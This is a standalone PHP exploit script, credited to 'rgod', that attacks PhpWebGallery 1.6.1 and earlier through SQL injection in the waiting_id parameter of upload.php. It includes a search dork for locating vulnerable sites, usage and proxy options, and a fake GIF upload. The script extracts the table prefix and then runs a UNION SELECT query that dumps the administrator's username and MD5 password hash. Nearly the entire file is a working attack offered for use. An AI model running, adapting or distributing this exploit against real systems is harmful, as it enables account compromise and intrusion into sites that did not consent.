<?php
print_r('
---------------------------------------------------------------------------
PhpWebGallery <= 1.6.1 SQL injection
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "powered by phpwebgallery 1.6"
---------------------------------------------------------------------------
');
if ($argc<3) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to phpwebgallery
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /gallery/ -P1.1.1.1:80
php '.$argv[0].' localhost / -p81
---------------------------------------------------------------------------
');
    die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function my_encode($my_string)
{
  $encoded="CHAR(";
  for ($k=0; $k<=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=")";}
    else {$encoded.=",";}
  }
  return $encoded;
}


$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


$gif=
"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\xf7\x00\x00\xfc\xfe\xfc".
"\x00\xb4\x88\x00\xd1\xd1\x00\x77\x77\x14\x14\x00\x1a\xe3\xf0\x00".
"\x12\xfd\x00\x00\x7f\x88\x2c\x6c\x1c\x00\xe4\x00\x00\x12\x00\x00".
"\x00\x00\x32\x5a\x00\x00\x88\x15\x32\xd1\x00\x00\x77\x0a\x2f\x2c".
"\x00\x00\xe4\x00\x32\x12\x00\x00\x00\x00\x39\x2a\x02\x00\x88\x00".
"\x00\xd1\x00\x00\x77\x00\x14\x0c\x01\x86\x00\x00\x68\x00\x00\xf3".
"\x00\x88\xbe\x50\xe2\x94\x0d\x12\xd1\x8d\x00\x77\x00\xe9\x2d\x64".
"\xe5\xb4\x0d\x81\xd1\x8d\x7c\x77\x00\x00\x16\x14\x00\x0f\x00\x01".
"\x10\x00\x00\x00\x00\x56\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x90\xbc\x00\xe1\x0f\x00\x12\x19\x00\x00\x00\x00\x73\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x02\x00\xb0\x00\x10\xe2\x00\x00\x12".
"\x00\x00\x00\x00\x00\x18\x9e\x00\xee\x02\x00\x91\x00\x00\x7c\x00".
"\x00\x70\x01\x00\x05\x00\x00\x92\x00\x00\x7c\x00\x00\xff\xd8\x00".
"\xff\xf1\x00\xff\x12\x00\xff\x00\x00\x6d\x10\x00\x05\xf7\x00\x92".
"\x45\x00\x7c\x00\x00\x85\x20\x01\xe7\x00\x00\x81\x00\x00\x7c\x00".
"\x00\x00\x32\x31\x00\x32\x30\x15\x2f\x30\x00\x32\x20\x58\x39\x25".
"\x03\x20\x20\x00\x00\x00\x00\xff\x77\x78\x7a\x10\xc4\x0f\xe9\x17".
"\x0d\x12\x00\x00\x00\xf0\x0c\x67\x65\x00\x04\x15\x00\xd4\x00\x00".
"\x77\x00\x00\x30\x00\x00\x88\x00\x00\xd1\x00\x00\x77\x7e\x60\xff".
"\x00\x63\xff\x00\x50\xff\xc0\x00\xff\x00\x01\x2a\x00\x00\x88\x00".
"\x00\xd1\x00\x00\x77\xff\x60\x9b\xff\x63\xb8\xff\x50\xd1\xff\x00".
"\x77\xff\x90\x00\xff\xe3\x00\xff\x12\x00\xff\x00\x00\x00\x98\xa0".
"\x00\xd5\x9c\x00\xd1\x45\x00\x77\x00\x00\x16\x7a\x00\x0f\x0f\x00".
"\x10\x0d\x00\x00\x00\x00\x20\x0c\x00\x00\x00\x15\x00\x00\x00\x00".
"\x00\xc0\xbc\x60\xe2\x0f\x9e\x12\x19\x80\x00\x00\x7c\xd2\x01\xc8".
"\xe6\x00\xe3\x81\x00\x15\x7c\x02\x00\xf0\x01\x00\x65\x00\x00\x15".
"\x00\x00\x00\x00\x00\x4a\xd8\x07\xe3\xe3\x00\x81\x12\x00\x7c\x00".
"\x00\xc0\x45\x00\x76\xd5\x00\x50\xd1\x00\x00\x77\x00\xf0\x16\x00".
"\x65\x0f\xe0\x01\x10\x15\x00\x00\x00\x6b\x20\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xfc\x04\x00\xe1\x26\x00\x12\x00\x00\x00\x00".
"\x00\x00\xd8\x00\x00\xe3\x00\x00\x12\x00\x00\x00\x00\xf8\x85\x00".
"\xf7\x2b\x00\x12\x83\x00\x00\x7c\x00\x18\x00\x68\xee\x00\x9e\x91".
"\x00\x80\x7c\x00\x7c\x70\x00\xff\x05\x00\xff\x92\x00\xff\x7c\x00".
"\xff\xff\x00\x60\xff\x00\x9e\xff\x00\x80\xff\x00\x7c\x6d\x29\x2f".
"\x05\xb7\x00\x92\x93\x00\x7c\x7c\x00\x4a\xc8\x2f\xf4\xe3\x00\x80".
"\x15\x00\x7c\x00\x00\x00\x34\x48\x00\x64\xeb\x15\x83\x12\x00\x7c".
"\x00\x00\xff\xff\x00\xff\xff\x00\xff\xff\x00\xff\xff\xf0\x00\x00".
"\x65\x00\x00\x15\x00\x00\x00\x00\x00\x00\xbc\x04\x01\xe3\xe5\x00".
"\x12\x12\x00\x00\x00\x00\x34\xbe\x00\x64\x3b\x00\x83\x4c\x00\x7c".
"\x00\x57\xf8\xe4\xf4\xf7\xe4\x80\x12\x12\x7c\x00\x00\xe8\x18\x77".
"\xe3\xee\x10\x12\x91\x4f\x00\x7c\x00\xf0\x00\x18\x65\xb7\xe5\x15".
"\x93\x12\x00\x7c\x00\x44\xff\x34\x00\xff\x64\x00\xff\x83\x00\xff".
"\x7c\x04\xc8\xb7\x00\xe3\xe5\x00\x15\x12\x00\x00\x00\x01\x34\xcf".
"\x00\x64\xff\x00\x83\xff\x00\x7c\x7f\xd4\x00\x88\x85\xe5\xe5\x68".
"\x12\x12\xf3\x00\x00\x30\xe7\xc8\x00\x64\xe3\x00\x83\x15\x00\x7c".
"\x00\x00\x88\x34\x00\x64\x64\x00\x83\x83\x00\x7c\x7c\x50\x01\xc8".
"\x0d\x00\xe3\x8d\x00\x15\x00\x00\x00\x0c\x31\x04\x00\x00\x26\x00".
"\x00\x00\x00\x00\x00\x00\xa0\x00\x00\x9c\x00\x00\x45\x00\x00\x00".
"\x00\xbf\x6c\xe9\x3d\xe4\xce\x3c\x12\x47\x77\x00\x00\x21\xf9\x04".
"\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x07\x08".
"\x04\x00\x01\x04\x04\x00\x3b\x00";

$data.='-----------------------------7d6224c08dc
Content-Disposition: form-data; name="submit"

1
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="picture"; filename="fake.gif"
Content-Type: text/plain

'.$gif.'
-----------------------------7d6224c08dc--
';

$sql="/*";
$sql=urlencode($sql);
$packet ="POST ".$p."upload.php?waiting_id=$sql HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("from ",$html);
$temp2=explode("waiting",$temp[1]);
$prefix=$temp2[0];
echo "table prefix -> ".$prefix."\n";
sleep(1);

$sql="99999999/**/UNION/**/SELECT/**/CONCAT(".my_encode("SUNTZU|").",password,".my_encode("|").",username,".my_encode(".").")/**/FROM/**/".$prefix."users/*";
$sql=urlencode($sql);
$packet ="POST ".$p."upload.php?waiting_id=$sql HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("SUNTZU|",$html);
$temp2=explode(".gif",$temp[1]);
$wtf=$temp2[0];
$temp=explode("|",$wtf);
$admin=$temp[1];
$pwd_hash=$temp[0];
function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

if (is_hash($pwd_hash)) {
   echo "exploit succeeded...\n";
   print_r('
-----------------------------------------------------------------
admin user     -> '.$admin.'
pwd hash (md5) -> '.$pwd_hash.'
-----------------------------------------------------------------
         ');
}
else {
   echo "exploit failed...see html\n".$html;
}
?>